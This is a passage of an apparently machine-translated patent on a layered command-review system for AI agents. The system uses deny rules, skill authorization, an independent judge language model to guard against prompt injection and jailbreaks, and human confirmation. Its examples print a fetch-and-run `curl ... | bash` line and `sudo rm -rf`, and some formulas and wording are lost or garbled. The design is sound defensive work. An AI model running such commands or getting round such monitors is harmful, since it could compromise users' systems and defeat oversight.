[0058] When the security mode switch status is 1, the system dynamically appends a security mode supplementary rule segment to the end of the character sequence of the basic arbitration rule segment, forming a composite arbitration rule segment containing stricter review criteria. When the security mode switch status is 0, the system makes no modifications and directly assigns the original content of the basic arbitration rule segment to convert it into a composite arbitration rule segment. This appending operation occurs each time an arbitration request is constructed, without relying on a service restart; the next arbitration immediately takes effect according to the new policy after the operator switches the switch.

[0059] Then, the system receives the command message to be arbitrated from the upstream steps, and uses a structured parser to decompose its core payload area at the field level. From the parsing results, it accurately extracts the physical feature dimensions representing the command intent, including the command name, command parameters, and the working directory path during execution. The system combines and packages the extracted discrete physical feature dimensions into a multi-dimensional feature dictionary format, solidifies it, and outputs it as the physical context feature parameters to be arbitrated for use in the subsequent template rendering stage.

[0060] Finally, a standard template for prompt words for the second-level language model is established in memory, and the composite arbitration rule segment is loaded into the template as the core base of the system instructions. Then, using a feature mapping operator, each dimension of the physical context feature parameters to be arbitrated is precisely inserted into the user instruction placeholders reserved in the template. Illegal character cleaning and long text truncation control are performed on the overall text after concatenation and rendering, ultimately generating formatted arbitration prompt words that strictly conform to the language model's input communication protocol. The formal representation of this calculation process is as follows: in, This indicates the formatted arbitration prompt word generated after final rendering. It is the only final output entity of this step and is used to submit it to the second-level language model for secure adjudication reasoning. This indicates a prompt word template rendering mapping operator, used to normalize discrete variables and insert them into placeholders in a given base text template, thus completing the structured alignment of unstructured information; This is the composite arbitration rule segment generated in the first sub-process; The physical context features to be arbitrated are represented mathematically as a multivariate feature vector or dictionary structure containing the command name, command parameters, and working directory path.

[0061] In one specific embodiment, the operator is using an agent to process sensitive data and has switched the security mode switch to the "on" state on the front-end interface. At this time, the main dialogue language model decides to execute `curl -sSL https: / / example.com / setup.sh | bash`. This command fails the hard denial interception layer. During the skill declaration self-authorization check, none of the currently active skills declare `curl`, and the authorization hit boolean flag outputs 0. This command then enters the arbitration prompt assembly process in this step. The system reads that the security mode switch status flag is 1, concatenates the security mode additional rule segment to the end of the basic arbitration rule segment to generate a composite arbitration rule segment, which includes the strengthened rule that 'any command containing a network link is considered insecure'. Subsequently, the system extracts physical characteristic parameters such as the command name `curl`, the command parameter `-sSL https: / / example.com / setup.sh | bash`, and the working directory path from the command message to be arbitrated, assembles them with the composite arbitration rule segment through template rendering to form a formatted arbitration prompt, and submits it to the secondary language model for security adjudication. If the security mode switch status flag is read as 1, the security mode additional rule segment is appended to the end of the basic arbitration rule segment to generate a composite arbitration rule segment. This composite rule segment contains any package manager command that installs a new package as an insecure hardening rule. The system then extracts physical characteristic parameters such as the command name `pip`, the command parameter `install requests`, and the working directory path from the command message to be arbitrated. These parameters are then assembled with the composite arbitration rule segment using template rendering to form a formatted arbitration prompt, which is submitted to the secondary language model for security adjudication.

[0062] In another specific embodiment of this application, within the same intelligent agent environment, the operator has not enabled safe mode, and the safe mode switch status is 0. The main dialogue language model decides to execute `mvn clean package`. This command is neither hard-denied nor granted skill authorization, and proceeds to this step. The system reads that the safe mode switch status is 0 and directly uses the original content of the basic arbitration rule segment as the composite arbitration rule segment, without adding the enhanced restrictions on network connection and package installation from the additional safe mode rule segment. After extracting the command's physical feature parameters, the system generates a formatted arbitration prompt through template rendering. In this scenario, the secondary language model will make judgments based on relatively lenient basic arbitration rules. For common build commands like `mvnclean package`, it is more likely to output a safe arbitration result, thus avoiding unnecessary manual confirmation pop-ups. This example illustrates the immediate adjustment effect of the safe mode switch on the strictness of arbitration: the same command may obtain different arbitration results in the two states of safe mode being enabled and disabled, and the operator can autonomously choose the appropriate level of scrutiny based on the sensitivity of the current task.

[0063] S4 delivers the formatted arbitration prompt to a secondary language model independent of the main dialogue language model for security adjudication reasoning. When the adjudication is secure, an arbitration release signal is output; when verification fails or the adjudication is insecure, an arbitration pending confirmation signal is output. It should be understood that the formatted arbitration prompt has structurally integrated the physical execution parameters of the command to be arbitrated with the composite arbitration rule segment. However, the security determination of gray-zone commands is essentially a semantic understanding problem. The rationality of the same command highly depends on its intent within the current task context, and static rules cannot cover all possible command combinations and execution contexts. Therefore, a language model with natural language understanding capabilities is needed to perform semantic-level security adjudication of gray-zone commands. Simultaneously, this adjudication model must be independent of the main dialogue language model driving the agent. This is because the main dialogue language model itself may be contaminated by prompt injection attacks or jailbreak inducements. If the adjudication function is handled by the same model, the attacker's malicious context can directly penetrate to the adjudication stage, rendering security checks ineffective. By delegating the adjudication function to an independent secondary language model, even if the main dialogue language model is jailbroken, it cannot directly affect the judgment process of the adjudication model; the two are completely isolated at the system prompt level. In addition, to prevent the review process from being bypassed due to abnormal situations such as failure of the second-level language model call, network timeout, or non-compliant output format, this step adopts a conservative downgrade strategy. In any abnormal situation, an arbitration pending confirmation signal is output for final manual adjudication to ensure that there is no security loophole for direct release due to external dependency failure.

[0064] In one embodiment of this application, such as Figure 5 As shown, step S4 includes: S41, delivering the formatted arbitration prompt to the second-level language model for inference invocation, capturing the returned original arbitration response character stream and network communication status identifier; S42, performing deserialization parsing and key-value integrity verification on the original arbitration response character stream based on the network communication status identifier to obtain the structured arbitration payload and format verification status parameter; S43, performing fallback routing determination on the structured arbitration payload based on the format verification status parameter, wherein when the verification passes and the arbitration is secure, an arbitration release signal is output, and when the verification fails or the arbitration is insecure, an arbitration pending confirmation signal is output.

[0065] First, a remote procedure call communication channel is established between the system and the independent second-level language model, and a fixed timeout threshold is configured. In one specific implementation, this timeout threshold is set to a fixed value between 5000 and 15000 milliseconds, for example, 10000 milliseconds. This value is chosen because: too short a timeout may lead to frequent triggering of fallback mechanisms during network fluctuations, resulting in unnecessary manual confirmation pop-ups; too long a timeout will significantly increase review delays and affect the continuity of the agent's workflow. 10000 milliseconds strikes a balance between the two. The system uses a formatted arbitration prompt as the payload and delivers it to the inference endpoint of the second-level language model through this channel. If the request successfully returns a normal response within the timeout threshold, the returned text entity is assigned to the original arbitration response character stream, and the network communication status flag is set to 1, indicating successful communication. If a network anomaly, timeout, or abnormal status code is encountered, an empty original arbitration response character stream is generated, and the network communication status flag is set to 0, indicating an abnormal communication.

[0066] Regarding the selection of the secondary language model, this model can be the same as or a different model from the main dialogue language model. In scenarios sensitive to arbitration delays, an economical small model can be used to reduce response time and invocation costs; in scenarios requiring high accuracy of adjudication, a model from a different vendor than the main dialogue language model can be used to further reduce the risk of collusion between the two models being simultaneously penetrated by the same attack method.

[0067] Next, the value of the network communication status flag is evaluated. If the flag is 0, the parsing step is skipped, the format validation status parameter is assigned a value of 0 (validation failed), and a structured arbitration payload containing a default exception field is instantiated. If the communication flag is 1, the JSON deserializer is called to attempt to perform structured parsing and transformation on the original arbitration response character stream. A key-value integrity assertion is performed on the parsing result: it checks whether the object simultaneously and explicitly contains string key-value pairs with the keys "Arbitration Result" and "Arbitration Reason". Based on the assertion result, a binary state calculation is performed. The format validation status parameter outputs 1 only if deserialization is successful and both keys are complete; otherwise, it outputs 0. The formal representation of this calculation process is as follows: in, This parameter represents the format validation status. It is a binary logical variable, where 1 indicates that the data returned by the level 2 language model fully meets the system's parsing requirements and has a complete structure. This indicates the network communication status flag, with a value of 1 representing a successful remote call that has not timed out, and 0 representing a request that has been interrupted or failed due to timeout. This represents the raw arbitration response character stream, i.e., the unprocessed raw text entities returned by the second-level language model; This represents a JSON deserialization mapping operator that converts an unstructured stream of characters into a structured object model. and These represent the required key name constants for strong constraints in the interface specification, corresponding to the decision result key and the decision reason key, respectively.

[0068] Regarding the required output format specifications for the Level 2 language model, its response must be a strict single-line JSON structure, containing an arbitration result field (with a value of "safe" or "unsafe") and an arbitration reason field (a brief Chinese explanatory text). This format constraint has been injected into the formatted arbitration prompt text in step S3 via the basic arbitration rule segment as a system instruction, and the Level 2 language model is required to strictly adhere to it.

[0069] Finally, the format validation status parameter is read for the highest priority fault degradation determination. If the status parameter is 0, indicating a format validation error, the system directly initiates a conservative fallback route, discards potentially invalid outputs, extracts the default alarm reason text, forcibly encapsulates it as an arbitration pending confirmation signal, and outputs it to the subsequent stage, without generating a release signal. If the status parameter is 1, indicating a validation error, the text value corresponding to the arbitration result key in the structured arbitration payload is extracted and compared for string equality. If the text value equals "safe," the instruction intent is deemed safe, the corresponding reason is extracted, packaged, and an arbitration release signal is generated and output. If the text value equals "unsafe," a risk is deemed to exist, the corresponding arbitration reason is extracted, packaged, and an arbitration pending confirmation signal is generated and output, and control is handed over to the manual interface for judgment. The formal representation of this routing control is as follows: in, This indicates the routing decision output that the system ultimately sends to the next step; This indicates that the generated arbitration release signal authorizes the system to allow the instruction call; This indicates that the generated arbitration pending confirmation signal requires forced suspension and manual secondary confirmation by the operator's front end. This is a format validation status parameter; This represents the text value corresponding to the decision result key that is precisely extracted from the structured decision payload.

[0070] In one specific embodiment, the operator did not enable secure mode. The main dialogue language model decided to execute the `mvnclean package`. This command was neither hard-denied nor granted skill authorization. After being assembled into a formatted arbitration prompt in step S3, it proceeded to this step. The system delivered the formatted arbitration prompt to the secondary language model via a remote call channel. The model successfully returned a response within the timeout threshold, with the network communication status flag set to 1. The system deserialized the returned raw arbitration response character stream into JSON, successfully parsing a structured object containing the arbitration result key value "safe," the arbitration reason key value "regular build command," and no remote downloads or sensitive path operations. The format validation status parameter was set to 1. The system extracted the arbitration result field value as "safe," generated an arbitration release signal, and the command entered the subsequent sandbox execution phase without any disturbance to the operator.

[0071] In another specific embodiment of this application, the operator activates the safe mode. The main dialogue language model decides to execute `pip install requests`, and after step S3, it assembles a formatted arbitration prompt containing a safe mode additional rule segment before proceeding to this step. The secondary language model, based on the enhanced rule that any package manager command to install a new package in the composite arbitration rule segment is considered unsafe, returns a structured response with the arbitration result of "unsafe" and the reason for the arbitration being that installing new packages from external sources is not allowed in safe mode. After the system verification passes, the arbitration result is extracted as "unsafe," an arbitration confirmation signal is generated, and the arbitration reason text is pushed to the front-end pop-up interface for the operator to view and ultimately decide whether to allow or refuse execution.

[0072] In another specific embodiment of this application, the main dialogue language model decides to execute `mvn clean package`. After the formatted arbitration prompt is successfully assembled, it is delivered to the secondary language model. However, due to a network failure, the request does not receive a response after the timeout threshold is reached. The system sets the network communication status flag to 0, directly calculates the format verification status parameter to 0, initiates a conservative fallback route, generates an arbitration confirmation signal, and displays a pop-up window to the operator indicating that the security review service is temporarily unavailable and requires manual confirmation. The operator can decide whether to allow the command to execute based on their own judgment. The system will not bypass the review and directly allow the request due to the failure of the review service, ensuring the maintenance of the security closure state.

[0073] S5 performs routing control on the interception rejection signal, self-authorized release signal, arbitration release signal, and arbitration pending confirmation signal to respectively execute command blocking, sandbox release, or submit for manual confirmation. It should be understood that the aforementioned steps S1 to S4 generate control signals of different natures at different review levels: step S1 outputs an interception rejection signal when the command hits a hard rejection rule; step S2 outputs a self-authorized release signal when skill authorization is hit; and step S4 outputs an arbitration release signal when the second-level language model determines security, and an arbitration pending confirmation signal when verification is abnormal or the determination is unsafe. These four types of signals represent four distinct security states: deterministic rejection, skill authorization passed, intelligent arbitration passed, and requiring manual intervention. Since these signals are generated asynchronously at different stages of the review pipeline and each carries different execution semantics, a unified routing control node is needed to aggregate, prioritize, and distribute terminal actions to ensure that each command ultimately receives a unique and clear processing result, while preventing multiple signals from generating conflicting execution instructions for the same command under extreme concurrency conditions.

[0074] In one embodiment of this application, step S5 includes: S51, performing multi-source aggregation and binarization encoding on the interception rejection signal, self-authorization release signal, arbitration release signal, and arbitration pending confirmation signal to obtain a unified control state vector and a full signal payload packet; S52, performing element-wise weighting and maximum value index extraction on the unified control state vector based on a preset priority weight vector to obtain an action distribution decision code; S53, extracting the corresponding payload from the full signal payload packet based on the action distribution decision code for terminal instruction distribution, to respectively execute command blocking, sandbox release, or submit manual confirmation ruling.

[0075] First, a multiplexing listener is enabled at the routing aggregation node to synchronously capture the four signal objects that may be generated at different review stages. For any command entering the review pipeline, only one of the four signal types will be actually activated during its complete review lifecycle, while the other three remain empty. The system performs binary discrimination on the received signals, recording the presence of the signal instance as 1 and its absence as 0. These four binary scalars are concatenated in a fixed spatial dimension order to construct a four-dimensional unified control state vector, representing the security adjudication of the current instruction. The formal representation of this vectorization process is as follows: in, This represents a binary indicator bit corresponding to the interception / rejection signal; a value of 1 indicates that the signal exists, and 0 indicates that it does not exist. This represents the binary indicator bit corresponding to the self-authorized release signal; This represents the binary indicator bit corresponding to the arbitration release signal; This represents the binary indicator bit corresponding to the arbitration confirmation signal. In a normal review process, exactly one of the four components of this vector is 1, and the rest are 0.

[0076] Meanwhile, the system extracts the entity data carried inside each captured signal, including the blocking reason text, original command parameters, arbitration ruling reasons, etc., and encapsulates them into a shared memory dictionary to generate and output the full signal payload packet for downstream scheduling to extract.

[0077] Then, to address scenarios where multiple signals might be activated simultaneously under extreme abnormal conditions (e.g., system timing errors leading to simultaneous capture of both allow and reject signals in the same round), the system loads a preset priority weight vector into memory. This ensures that intercepting reject signals has the highest priority, followed by manual confirmation, and allowing signals has the lowest priority. The system performs element-wise multiplication of the unified control state vector with the preset priority weight vector to calculate the activation response energy value of each control channel. Subsequently, it performs a maximum value indexing operation on the activation response energy value sequence to extract the index of the winning channel and convert it into a discrete integer action distribution decision code. The formal representation of this calculation process is as follows: in, This represents the calculated action dispatch decision code, with a value that is a scalar index that directly maps to the final dispatch action at the bottom layer. This represents a pre-defined priority weight vector within the system. This represents the element-wise multiplication operator.

[0078] Regarding the priority weight vector In one specific implementation, the vector is set to a value of . Its four components correspond to the priority weights of the interception rejection signal, the self-authorized release signal, the arbitration release signal, and the arbitration pending confirmation signal, respectively. The logic behind this value setting is as follows: the interception rejection signal carries the blocking semantics of deterministic danger, and its priority cannot be overridden by other signals under any circumstances, so it is assigned the highest weight value of 100; the arbitration pending confirmation signal requires manual intervention, and its security and conservatism are higher than automatic release, so it is assigned a weight value of 50; the self-authorized release signal and the arbitration release signal both represent the release semantics, and are assigned the same lower weight value of 10. In the normal process, since only one signal is activated at a time, the absolute size of the weight value does not affect the routing result. The weight mechanism only plays a role in conflict resolution when multiple signals are abnormally concurrent.

[0079] Finally, the action distribution decision code is decoded, and the corresponding business context content is read from the full signal payload packet for multi-branch distribution. If the decoding result points to command blocking, i.e., the action distribution decision code corresponds to the channel that intercepts the rejection signal, the system extracts the blocking reason text from the full signal payload packet, throws a process interruption exception to the underlying operating system, returns error information to the main dialogue language model, and generates a command blocking execution instruction. The blocked command does not enter any execution environment, and its execution intent is completely terminated.

[0080] If the decoding result points to sandbox release, i.e., the action distribution decision code corresponds to the channel of self-authorized release signal or arbitration release signal, the system extracts the command name and parameters from the full signal payload packet, and executes the command in a strictly read-write controlled local isolated sandbox environment through operating system calls, generating a sandbox physical release instruction. Before executing the release, the system also needs to determine whether the combination of the current session and the command name is the first release. If it is the first release, the system extracts the execution subject, command name, release method, and timestamp information, and persists it to disk to generate an audit record. Repeated execution of the same command within the same session will not be recorded repeatedly to avoid log flooding, but the first release will be re-recorded when restarting across sessions or services.

[0081] If the decoding result points to a manual confirmation ruling, i.e., the channel corresponding to the arbitration signal to be confirmed in the action distribution decision code, the system extracts the ruling reason text from the full signal payload packet, converts and serializes it into a rendering protocol format recognizable by the front-end interface components, pushes it to the visualization bus, and displays the ruling reason to the operator in a confirmation dialog box on the front end. The system listens for operation events on the front-end pop-up interface through hooks. If the operator clicks "Allow Execution," the command enters the sandbox release process; if the operator clicks "Deny Execution," the command enters the command blocking process.

[0082] In one specific embodiment, the main dialogue language model, induced by malicious context, decides to execute `sudo rm -rf / tmp / foo`. This command hits the hard deny command rule set in step S1, generating an interception and denial signal. This signal enters the routing aggregation node of this step, and the unified control state vector is... After priority and weight routing calculation, the action distribution decision encoding points to the command blocking channel. The system returns an error message to the main dialogue language model, indicating that the command contains the hard denial term sudo, and its execution is permanently blocked; the command will not enter any execution environment.

[0083] In a specific implementation of sandbox release, the "Python Data Science Toolset" skill has been installed. The main dialogue language model decides to execute `python3 analysis.py`. This command is hit by the skill's self-authorization check in step S2, generating a self-authorization release signal. After this signal enters this step, the unified control state vector is... The action dispatch decision code points to the sandbox access channel. The system determines that Python 3 is being accessed for the first time in the current session, writes an audit record, and then executes the command in the sandbox environment without the operator noticing.

[0084] In a specific embodiment of manual confirmation and adjudication, the operator activates safe mode, and the main dialogue language model decides to execute `pip install requests`. This command, after arbitration by the secondary language model, is deemed unsafe, generating an arbitration pending confirmation signal. After this signal enters this step, the unified control state vector is... The action distribution decision code points to the manual confirmation and adjudication channel. The system displays the adjudication reason in a pop-up window: "Installing new packages from external sources is not allowed in safe mode." After reading it, the operator clicks "Allow" or "Deny" based on their own judgment. If the operator confirms "Allow," the command enters the sandbox release process and is written to the audit log; if the operator denies it, the system returns an error message indicating that the command was denied to the main dialogue language model.

[0085] In a further scalable embodiment of this application, the above command review method can be further enhanced in the following way: In the multi-judge consistency extension, the second-level language model in step S4 can be replaced by a set of parallel calls to N different judge language models. The system only outputs the arbitration release signal when all K-of-N judge models output a security ruling, where K and N are preset positive integers and K is less than or equal to N. The robustness against jailbreak inducement of a single judge model is improved through the multi-model voting mechanism.

[0086] In the extended secondary review of skill claims, the active skill command claim set in step S2 can be further limited to include only the command names declared by skills that have been manually reviewed or independently reviewed by AI and marked with a review label. This ensures that the commands declared by newly installed skills that have not been reviewed do not participate in the self-authorization release determination before obtaining the review label, further resisting attack scenarios where malicious skill claims excessively request permissions.

[0087] In the hot update extension of the hard deny list, the hard deny command rule set in step S1 can be updated by the operation and maintenance personnel through a dedicated interface at runtime, based on the initial built-in list. This update operation only allows the addition of rules and does not allow the deletion of existing rules. This is suitable for scenarios that require a rapid response after discovering new threat patterns during operation. After the update, the next interception and matching will be executed according to the updated rule set without restarting the service.

[0088] In summary, the command review method based on language model arbitration and skill self-authorization in this application has been clarified. It constructs a multi-level command security review architecture that organically integrates deterministic rule interception, skill declaration self-authorization, and language model intelligent arbitration. Through a cascading judgment mechanism with a fixed priority order, fatal commands are deterministically blocked at the forefront without relying on any intelligent judgment steps. Regular commands declared by installed active skills are automatically granted authorization without disturbing the operator. Unknown commands in the gray zone are subject to semantic-level security adjudication by a secondary language model independent of the main dialogue language model. This ensures the system's security fallback capability while minimizing disruption to the agent's workflow. Furthermore, this application introduces a dynamic concatenation mechanism of prompt words driven by a security mode switch status identifier. This allows the arbitration strictness of the secondary language model to respond instantly to the operator's security policy switching at runtime without restarting the service. Simultaneously, by performing format verification on the arbitration output and uniformly treating it as a non-security fallback in cases of anomalies or timeouts, it ensures that faults in the review module itself will not become a channel for security bypass.

[0089] Figure 6 This is a schematic block diagram of the command review system based on language model arbitration and skill self-authorization according to this application. Figure 6 As shown, the command review system 600 based on language model arbitration and skill self-authorization according to an embodiment of this application includes: a hard rejection matching module 610, used to intercept and match received command request messages based on a hard rejection command rule set, outputting an interception rejection signal when a match is found, and outputting a command message to be authorized for verification when a match is not found; a skill authorization module 620, used to perform authorization attribution retrieval on the command message to be authorized for verification based on an active skill command declaration set consisting of command names of currently active skill declarations, outputting a self-authorization release signal when a match is found, and outputting a command message to be arbitrated when a match is not found; and an arbitration assembly module 630, used to assemble the command message based on the security mode switch status identifier. The basic arbitration rule segment is conditionally supplemented to obtain a composite arbitration rule segment, and the message to be arbitrated is merged and assembled with the composite arbitration rule segment to obtain a formatted arbitration prompt. The secondary adjudication module 640 is used to deliver the formatted arbitration prompt to a secondary language model independent of the main dialogue language model for secure adjudication reasoning. When the adjudication is secure, an arbitration release signal is output; when the verification is abnormal or the adjudication is insecure, an arbitration pending confirmation signal is output. The signal routing module 650 is used to perform routing control on the interception rejection signal, self-authorized release signal, arbitration release signal, and arbitration pending confirmation signal to execute command blocking, sandbox release, or submission of manual confirmation ruling, respectively.

[0090] It should be noted that the command review system based on language model arbitration and skill self-authorization in this application embodiment is similar in principle to the aforementioned command review method based on language model arbitration and skill self-authorization. Therefore, the implementation process, implementation principle, and beneficial effects of the command review system based on language model arbitration and skill self-authorization can all be found in the description of the implementation process, implementation principle, and beneficial effects of the aforementioned method, and repeated details will not be repeated.

[0091] The various embodiments of this disclosure have been described above. These descriptions are exemplary and not exhaustive, nor are they limited to the disclosed embodiments. Many modifications and variations will be apparent to those skilled in the art without departing from the scope and spirit of the described embodiments. The terminology used herein is chosen to best explain the principles, practical application, or improvement of the technology in the market, or to enable others skilled in the art to understand the embodiments disclosed herein.

Claims

1. A command review method based on language model arbitration and skill self-authorization, characterized in that, include: S1, based on the hard deny command rule set, intercepts and matches the received command request message. If a match is found, an interception and rejection signal is output. If no match is found, a command message to be authorized and verified is output. S2, based on the active skill command declaration set consisting of the command names of the currently active skill declarations, performs an authorization attribution search on the command message to be authorized for verification. If a match is found, a self-authorization release signal is output; if a match is not found, a command message to be arbitrated is output. S3, Based on the security mode switch status flag, conditional rules are added to the basic arbitration rule segment to obtain a composite arbitration rule segment, and the message to be arbitrated is merged and assembled with the composite arbitration rule segment to obtain a formatted arbitration prompt word; S4, deliver the formatted arbitration prompt to the secondary language model, which is independent of the main dialogue language model, for security decision reasoning. When the decision is secure, output the arbitration release signal; when the verification is abnormal or the decision is insecure, output the arbitration pending confirmation signal. S5 performs routing control on interception rejection signals, self-authorized release signals, arbitration release signals, and arbitration pending confirmation signals to execute command blocking, sandbox release, or submit manual confirmation rulings, respectively.

2. The command review method based on language model arbitration and skill self-authorization according to claim 1, characterized in that, The command request message contains the command name, command parameters, and working directory path.

3. The command review method based on language model arbitration and skill self-authorization according to claim 2, characterized in that, Step S1 includes: The command request message is structured and its characters are standardized and concatenated to obtain a standardized command feature string, and all data items are encapsulated into the command payload to be processed. The standardized command feature string is compared with each regular expression rule in the hard rejection command rule set, and the maximum value is aggregated to obtain the hit determination status value. Based on the hit determination status value, the unprocessed command payload is routed and controlled. When the value is hit, an interception and rejection signal is encapsulated and output. When the value is not hit, an authorization verification command message is converted and output.

4. The command review method based on language model arbitration and skill self-authorization according to claim 1, characterized in that, Step S2 includes: The authorization verification command message is decomposed and the target feature is extracted to obtain the single target retrieval command name and the full payload of the current command. The set of keys constructed by the target retrieval command name and the active skill command declaration set is used to determine the set of authorized hit boolean identifiers. Based on the authorized hit Boolean flag, the full payload of the current command is routed. When a hit occurs, a self-authorized release signal is encapsulated and output. When a hit does not occur, the command message to be arbitrated is converted and output.

5. The command review method based on language model arbitration and skill self-authorization according to claim 1, characterized in that, Step S3 includes: Condition determination is performed based on the security mode switch status indicator. When the security mode is on, the additional security mode rule segment is appended to the end of the basic arbitration rule segment. When the security mode is off, the original text of the basic arbitration rule segment remains unchanged, resulting in a composite arbitration rule segment. The arbitration command message is deconstructed and its context parameters are extracted to obtain the physical context feature parameters of the arbitration. The composite arbitration rule segment is fused and assembled with the physical context feature parameters to be arbitrated using placeholders to generate a formatted arbitration prompt.

6. The command review method based on language model arbitration and skill self-authorization according to claim 5, characterized in that, The physical context characteristics of the object to be arbitrated include the command name, command parameters, and working directory path.

7. The command review method based on language model arbitration and skill self-authorization according to claim 1, characterized in that, Step S4 includes: The formatted arbitration prompt is delivered to the second-level language model for inference invocation, and the returned raw arbitration response character stream and network communication status identifier are captured. Based on the network communication status identifier, the original arbitration response character stream is deserialized and parsed, and key-value integrity is verified to obtain the structured arbitration payload and format verification status parameters. Based on the format verification status parameter, a fallback route determination is performed on the structured adjudication payload. When the verification passes and the adjudication is secure, an arbitration release signal is output. When the verification fails or the adjudication is insecure, an arbitration pending confirmation signal is output.

8. The command review method based on language model arbitration and skill self-authorization according to claim 1, characterized in that, Step S5 includes: Multi-source aggregation and binarization encoding are performed on interception rejection signals, self-authorized release signals, arbitration release signals, and arbitration pending confirmation signals to obtain the integrated control state vector and full signal payload packet; Based on the preset priority weight vector, the integrated control state vector is weighted element by element and the maximum value index is extracted to obtain the action distribution decision code; Based on action distribution decision coding, the corresponding payload is extracted from the full signal payload packet and distributed to the terminal to execute command blocking, sandbox release or submit manual confirmation decision respectively.

9. The command review method based on language model arbitration and skill self-authorization according to claim 3, characterized in that, The standardized command feature string is compared with each regular expression rule in the hard reject command rule set, and the maximum value is aggregated to obtain the hit determination status value, including: The standardized command feature string is segmented at the syntactic slot level according to the hierarchical structure of operator bits, flag bits and parameter bits, and each token is labeled with its corresponding slot category to obtain an ordered slot token sequence; Based on the preset position-sensitive weight factor in the slot weight mapping table, substring-level local matching is performed on each token in the ordered slot token sequence and the hard denial command rule set, and the matching result is multiplied by the corresponding slot weight factor to obtain the position-weighted threat contribution vector. The threat co-occurrence aggregate value is obtained by summing and aggregating all components in the location-weighted threat contribution vector across slots. Threshold comparison is performed based on the relationship between the threat co-occurrence aggregation value and the preset threat determination threshold to obtain the hit determination status value.

10. A command review system based on language model arbitration and skill self-authorization, characterized in that, include: The hard rejection matching module is used to intercept and match the received command request messages based on the hard rejection command rule set. When a match is found, an interception rejection signal is output, and when a match is not found, a command message to be authorized and verified is output. The skill authorization module is used to perform authorization attribution retrieval on the command message to be authorized based on the active skill command declaration set consisting of the command names of the currently active skill declarations. When a match is found, a self-authorization release signal is output, and when a match is not found, a command message to be arbitrated is output. The arbitration assembly module is used to add conditional rules to the basic arbitration rule segment based on the security mode switch status flag to obtain a composite arbitration rule segment, and to fuse and assemble the message to be arbitrated with the composite arbitration rule segment to obtain a formatted arbitration prompt word; The secondary arbitration module is used to deliver formatted arbitration prompts to a secondary language model that is independent of the main dialogue language model for security arbitration reasoning. When the arbitration is secure, it outputs an arbitration release signal; when the verification is abnormal or the arbitration is insecure, it outputs an arbitration pending confirmation signal. The signal routing module is used to perform routing control on interception rejection signals, self-authorized release signals, arbitration release signals, and arbitration pending confirmation signals to execute command blocking, sandbox release, or submit manual confirmation rulings, respectively.

Images